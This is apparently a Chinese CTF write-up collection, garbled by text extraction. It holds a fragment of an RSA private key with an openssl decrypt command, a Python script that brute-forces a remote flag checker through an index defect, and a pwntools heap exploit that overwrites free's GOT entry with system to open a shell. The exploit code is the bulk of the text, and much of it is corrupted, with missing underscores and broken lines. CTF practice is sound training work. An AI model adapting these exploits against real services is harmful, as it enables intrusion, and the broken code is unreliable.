fG1GA8Xm1YEsun7qjVF9Y1U0KrbU3DFa8Znj3IyDC6Iq1TxBSEFUGqnotnC/0/7t
GRcUlBOzF+OLjm9T7eJE6Eoy1lwNqID1/ALpRlXVpNPnxjB3+XPpRFLYE51dv576
OrWWeYJbzRlcBqkAlv1MpHOIGuw8Ed65PeBQAB6sIZehln1rFflsyTR/cNedLdFI
SoFx+BLdMrpkMWAIJksJlgODkBd/86dyV7+JbeTXQCSLe73fM8D/MC7obB0CAwEA
AQKCAgAuZ5DPh6XbogC7eKeBaSTBDal/cGOmAbt+znDu9WkOcNuEGhzA426u2J
m8
iKVzeXLbSqGlyIFxValwtPKyyH6z/kREaF+3DNoFEOqE2WmdJRqJS4SwQOrFB7IJ
HJr5dAeegftg+M0BVQQrcw6uwQHBvXl4W0YA8m/I0hhWGxhxZ6nt0/MArbtDB2N
OqN9UdJ3sd3iYo2+rM1EO9v9bZyutkPvfyFpzFcfiWPPjWHdJdN+G+Szno9VVUmx
KDZWE+moY96a6HH409juattxnLZgU3EUfMGCm/GUdugeZNCAGs5S+ym/zb6wO
Nig
QlomoldnWHVI66flir8++RALcUFWC46IH2FyrAJfWR+c8E5ns8Z+HlnZFFO+z2i/
xWWc9jqFMqDq0yQccqLUWFqPDVINClflu7bUoM7QLuEKohdkyTwbcx9zOqVuNq7
d
18g+Qrm3Ru+uD0ni85mnwWA3kZPdQ6pvJaEDJzRPp0rpZyjEP4p2FtXDbp7l1gy9
qH834mmrcH2R5RANmJZFIb0T49beAqF7B3wO0AfCpUj1D827JRKCww1OLv02FVA
NPjcf7alfecFAHTOc56NOwLdB7MvPw4O5LtUaLTHMUxZ1ClzB/Ks4P9Yn7O0du9n
```

FxPmYPWCYoXJX+DFOqc3U4atY6bTs2z6QLs6cdPQrltEXeYFRQKCAQEA7iHlusjD

Sly9vtxsYzr2qz6CqMUrd8FtaeYf2SCGXHEGfDlYCVNbS0dktyAkZ27mZxAovKzR hRwB04PxtNNboTPdo5iDbgC8J8Kxvz6W6TeCjZLDEyoOunrYdE8SyK/1tX7oCrbe +8Xk3pE5RzypwNZbp7V9gQsjJxe6oZlkRTXEGgJDJ5mV+v29ngoNki+zMhTk6emu bf23cSmT+f7cw5Cs5+jgaCMrYliciLaejF869+JCcZm2Kj7eCP0lDJ9HMVa+v79n KPeDyvdj680KMNv3RQhVjfavMsoIriIDfKczduzBdtylgBkLsgozogmhyL/MuAY3 1VwCrLXipyWIzwKCAQEAzwrQ0VVkMYZ7xIxCnv004/DyDePSOJkU2ToMaE0Bcf+y pEEu/KjW8aU6TKPNWHnAcCL0nzozoZcYNJyrl195DXiT8wXSaL2uR2gum+E71ov8 5MdIz+z9NTqXJsvRjy5w399n/O+q+XeIObAMGi+/UdLYLqquPVa7Pd37sPt69Cf1 H7TZx9y6+nXH1iCLa5LQm0pgedaQTxbR9EtY/Fj2vIc4I5JxduGb3kFm7D3Sc6Nq P354hJnmO/diiCjxLhVqHiiPuIrmAOSZ4X4VRWOkPMylKoFkx3HxqW1Zkq/Hk/ms jM8IUHBtSKd6Vh3//NYUq2SCt2Dys95f6YlonhQfUwKCAQEAwypk7cC8zCkNGe/t pSYeJBsHWuq9xVhyI+jHEVzmwbyqZA9bZ8k5eWj50lw1edAaZT2JJZk93gollQT+ hAT1hBjN/dZxYam6i5u1sdfKNzmXdhBicMJ3b75eyHRGINSVvDpWUvGtrwtxmDfN ieTd+32zgK/uPGS0WsXH38mntFFsdySDhWEK2ro7PdtfZABUDSeytUMgAmV+gvBg pvOKW32nOCpUQQUR+XhGUoXZS5KA8cguTlx+EAGWWCegxceEwZsmmmB0W8 7/5Mj8

y7UwNPsSnTFHbSJQVH/gvVaDJRajx0QjCxerTGE6hSOZTidYwP7w+aGfAO54ArTP Hc5VYQKCAQBVC3RLCHBnh34/df3HoOqg1tAWtlYdiYPu1tFR5o+5a/bNUZkjX5cr G1ufL4mh1iEd7r3cyeN7dL0Un2YM2aK3zde386RCMefsnPblQPR7ZHU05EccYZSA 0NhVr1MdJU5oJzRnyWauElN6nr3Z49MKoTj7cJexynaPKye/wwz2TZN6uqbaWejU CJ1Vb3jVbzERGLQYV/JfClijqG+c+E4hksmUkwrYckO8P9EvKRXROkbiXejTTwQr jaqDk42+CD3WtYKTozpnE3/CCDBkmFFWSBlwJEZpRnylw60Pe/TW66/dBw27PPM m

7ORri1cjXCyRWm/3M3N+PtHW9AJtLlbRAoIBABgyTrVuAjXd7qO57px/XHtUXvgX udo7XstJ9DYLE4roLEj8zUYDFS9KmGjANcmBpcgbKagWN9SqDQSfo8WkEoAue74n 7+8goDbeh0YQ2y0mDmpP34dBwF79USn3O+2lVI+1HXUTfTxOTmLPo5bSsv38HL2 t

3Ll6cUCg//M7IAQbpRME3z8gle0/HNWkZjyRadnBsk1QbEmZ8fBtiEp2LHFjnJLA SiU+f38+cqqUFcrGBlNvc/7W0SB2a5rp81XRwBGXEGtt+fYlBCWluHVEih9qFqnP 6VAeL6lKMzlpH1rblrwFolpMzyrnAjZGOJZ6bBcbgMFtNLBmJMSlmuSlao8= -----END RSA PRIVATE KEY-----

## 解密命令

openssl rsautl -decrypt -in flag.enc -inkey pk.pem -oaep

## Guess

hack.lu 原题,见

http://www.captchaflag.com/blog/2014/10/28/hack-dot-lu-2014-guess-the-flag/

```
#!/usr/bin/env python
import sys, socket
# stack location of flags var, relative to bit to hex
                  # For 64-bit machines replace with: -123
start = -59
host = 'wildwildweb.fluxfingers.net'
port = 1412
# Python doesn't support chr(-x), so do unsigned -> signed conversion.
def twos_comp(n):
   return 256 + n
# Generate a flag which exploits the char-index defect. This flag should always
# work, even though it is an invalid format.
# In this code, a flag is a list of 44 hexadecimal bytes (strings of length 2)
def generate_flag():
  s = twos comp(start)
  # This request causes server to copy the hidden flag; instead of expanding hex
  # - Put a zero in the high order nibble
  # - Place negative offset of this flag char in low-order
  return ['0' + chr(s + i) for i in xrange(44)]
# Format the flag and encode it for the wire
def encode flag(f):
  return 'PCTF{'.encode('hex') + \
       ".join(f) + \
       '}'.encode('hex') + '\n'
# Were we successful?
def check resp(r):
   return r.startswith('Yaaaay')
# Were we successful (for the prior request)?
def check_sock(s):
  rv = check resp(s.recv(1024))
  return rv
# Send a flag to the server
```

```
def send flag(s, f):
  # Eat the prompt
  s.recv(1024)
  # Bonvoyage!
  s.send(encode flag(f))
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Eat the MOTD
print s.recv(1024)
# This flag should work, as long as the offset is correct
base = generate flag()
print "VERIFYING FLAG OFFSET..."
send_flag(s, base)
if check_sock(s):
  print " Success!"
else:
  print " Failed!"
  sys.exit(1)
# Accumulate the flag as it is discovered
discovered = []
for i in xrange(len(base)):
   mutant = base[:]
   disc byte = '??'
  for j in '0123456789abcdef':
     byte = j.encode('hex')
     mutant[i] = byte
     send flag(s, mutant)
     if check sock(s):
        disc byte = byte
        print "%d -> 0x%s" % (i, byte)
```

```
break
  discovered += disc byte
print "VERIFYING FINAL FLAG..."
send_flag(s, discovered)
if check sock(s):
  print " Success! The flag is: %s" % encode_flag(discovered)
else:
  print " Failed!"
Guestbook2
Octf 原题,见
http://winesap.logdown.com/posts/258859-0ctf-2015-freenode-write-up
#!/usr/bin/env python
from pwn import * #pip install pwntools
r = remote('pwn.phrack.top', 9879)
def newpost(x):
 r.recvuntil('Your choice: ')
 r.send('2\n')
 r.recvuntil('Length of new post: ')
 r.send(str(len(x)) + '\n')
 r.recvuntil('Enter your post: ')
 r.send(x)
def delpost(x):
 r.recvuntil('Your choice: ')
 r.send('4\n')
 r.recvuntil('Post number: ')
 r.send(str(x) + '\n')
for i in range(10):
 newpost('a')
for i in range(10):
 if i!=7:
   delpost(i)
```

```
delpost(7)
# post 8 -  fd = post 0 (chunk = heap base + 6160 + 16)
# leak heap address: (128+16)*8 = 1152
newpost('a'*1152) # post 0
r.recvuntil('Your choice: ')
r.send('1\n')
r.recvuntil('a'*1152)
heap base = u64((r.recvuntil('\n')[:-1]+'\x00'*8)[:8]) - 0x1820
delpost(0)
print 'heap =', hex(heap base)
# unlink(post_0)
\# post[0] -> fd = \& post[0] - 0x18
\# post[0] -> bk = \&post[0] - 0x10
\# = > post[0] - > fd - > bk = = post[0] && post[0] - > bk - > fd = = post[0] (pass the check)
in unlink())
newpost(p64(0) + p64(0) + p64(heap base + 0x18) + p64(heap base + 0x20)) #
post 0
newpost('sh\x00') # post 1
newpost('a') # post 2
newpost('a') # post 3
delpost(2)
delpost(3)
newpost('D'*128 + p64(0x1a0) + p64(0x90) + 'A'*128 + p64(0) + p64(0x81) +
'\x01'*150)
delpost(3) # | prevsize | size |
                                                    prev inuse prev inuse
                                            # |
                        post 3
                prev chunk = post_0
          # |
                                             I
free got = 0x602018
free off = 0x82df0
system off = 0x46640
r.recvuntil('Your choice: ')
r.send('3\n')
```

```
r.recvuntil('Post number: ')
r.send('0\n')
r.recvuntil('Length of post: ')
r.send('32\n')
r.recvuntil('Enter your post: ')
r.send(p64(100) + p64(1) + p64(8) + p64(free got))
    # post_num | using | len | post_ptr |
    #
                         post 0
# leak by post[0]->ptr
r.recvuntil('Your choice: ')
r.send('1\n')
r.recvuntil('0. ')
libc base = u64(r.recvn(6)+'\x00\x00') - free off
system = libc base + system off
print 'libc =', hex(libc_base)
# write by post[0]->ptr (free => system)
r.recvuntil('Your choice: ')
r.send('3\n')
r.recvuntil('Post number: ')
r.send('0\n')
r.recvuntil('Length of post: ')
r.send('8\n')
r.recvuntil('Enter your post: ')
r.send(p64(system))
# delete something and trigger free (system)
r.recvuntil('Your choice: ')
r.send('4\n')
r.recvuntil('Post number: ')
r.send('1\n') # post[1]->ptr = "sh"
r.interactive()
r.close()
```